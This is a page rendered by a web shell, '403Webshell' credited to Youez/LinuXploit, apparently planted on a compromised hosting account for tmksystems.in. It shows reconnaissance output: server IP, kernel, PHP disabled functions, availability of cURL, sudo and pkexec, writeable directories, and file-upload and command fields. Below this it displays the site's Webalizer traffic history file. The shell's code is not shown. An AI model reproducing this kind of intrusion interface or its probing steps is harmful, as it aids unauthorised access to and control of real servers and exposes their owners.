403Webshell
Server IP : 92.204.40.98  /  Your IP : 216.73.216.201
Web Server : LiteSpeed
System : Linux amster.dnsfors.com 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : tmksyste ( 2190)
PHP Version : 8.3.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tmksyste/domains/tmksystems.in/stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tmksyste/domains/tmksystems.in/stats//webalizer.hist
# Webalizer V2.23-08 History Data - 11/Aug/2026 15:37:58 (120 month)
8 2026 28762 7167 1238 364703 1 11 3984 629
7 2026 40290 13455 2432 967407 1 31 4810 1416
6 2026 11783 9126 1899 673782 1 30 1664 1277
5 2026 17465 13172 2264 930212 1 31 2050 1444
4 2026 55144 15039 3633 1086204 1 30 6771 2444
3 2026 31466 13181 2843 1072155 1 31 4298 1892
2 2026 13079 9212 1758 698838 1 28 1692 1119
1 2026 17217 12305 1303 910085 1 31 1982 1205
12 2025 13595 7244 1538 465659 1 31 2246 1068
11 2025 13189 8479 1243 652242 1 30 1486 1008
10 2025 29841 14647 1754 951800 1 31 6523 1540
9 2025 22036 17665 1657 958138 1 30 2609 1227
8 2025 14843 12085 1665 600918 1 31 2446 1369
7 2025 19174 14469 1795 775676 1 31 3056 1477
6 2025 10279 9239 1051 458720 1 30 1498 845
5 2025 10370 8535 1137 469475 1 31 2007 982
4 2025 12398 11164 1327 338497 3 30 1801 1114
3 2025 0 0 0 0 0 0 0 0
2 2025 0 0 0 0 0 0 0 0
1 2025 0 0 0 0 0 0 0 0
12 2024 0 0 0 0 0 0 0 0
11 2024 0 0 0 0 0 0 0 0
10 2024 0 0 0 0 0 0 0 0
9 2024 0 0 0 0 0 0 0 0
8 2024 0 0 0 0 0 0 0 0
7 2024 0 0 0 0 0 0 0 0
6 2024 0 0 0 0 0 0 0 0
5 2024 0 0 0 0 0 0 0 0
4 2024 0 0 0 0 0 0 0 0
3 2024 0 0 0 0 0 0 0 0
2 2024 0 0 0 0 0 0 0 0
1 2024 0 0 0 0 0 0 0 0
12 2023 0 0 0 0 0 0 0 0
11 2023 0 0 0 0 0 0 0 0
10 2023 0 0 0 0 0 0 0 0
9 2023 0 0 0 0 0 0 0 0
8 2023 0 0 0 0 0 0 0 0
7 2023 0 0 0 0 0 0 0 0
6 2023 0 0 0 0 0 0 0 0
5 2023 0 0 0 0 0 0 0 0
4 2023 0 0 0 0 0 0 0 0
3 2023 0 0 0 0 0 0 0 0
2 2023 0 0 0 0 0 0 0 0
1 2023 0 0 0 0 0 0 0 0
12 2022 0 0 0 0 0 0 0 0
11 2022 0 0 0 0 0 0 0 0
10 2022 0 0 0 0 0 0 0 0
9 2022 0 0 0 0 0 0 0 0
8 2022 0 0 0 0 0 0 0 0
7 2022 0 0 0 0 0 0 0 0
6 2022 0 0 0 0 0 0 0 0
5 2022 0 0 0 0 0 0 0 0
4 2022 0 0 0 0 0 0 0 0
3 2022 0 0 0 0 0 0 0 0
2 2022 0 0 0 0 0 0 0 0
1 2022 0 0 0 0 0 0 0 0
12 2021 0 0 0 0 0 0 0 0
11 2021 0 0 0 0 0 0 0 0
10 2021 0 0 0 0 0 0 0 0
9 2021 0 0 0 0 0 0 0 0
8 2021 0 0 0 0 0 0 0 0
7 2021 0 0 0 0 0 0 0 0
6 2021 0 0 0 0 0 0 0 0
5 2021 0 0 0 0 0 0 0 0
4 2021 0 0 0 0 0 0 0 0
3 2021 0 0 0 0 0 0 0 0
2 2021 0 0 0 0 0 0 0 0
1 2021 0 0 0 0 0 0 0 0
12 2020 0 0 0 0 0 0 0 0
11 2020 0 0 0 0 0 0 0 0
10 2020 0 0 0 0 0 0 0 0
9 2020 0 0 0 0 0 0 0 0
8 2020 0 0 0 0 0 0 0 0
7 2020 0 0 0 0 0 0 0 0
6 2020 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit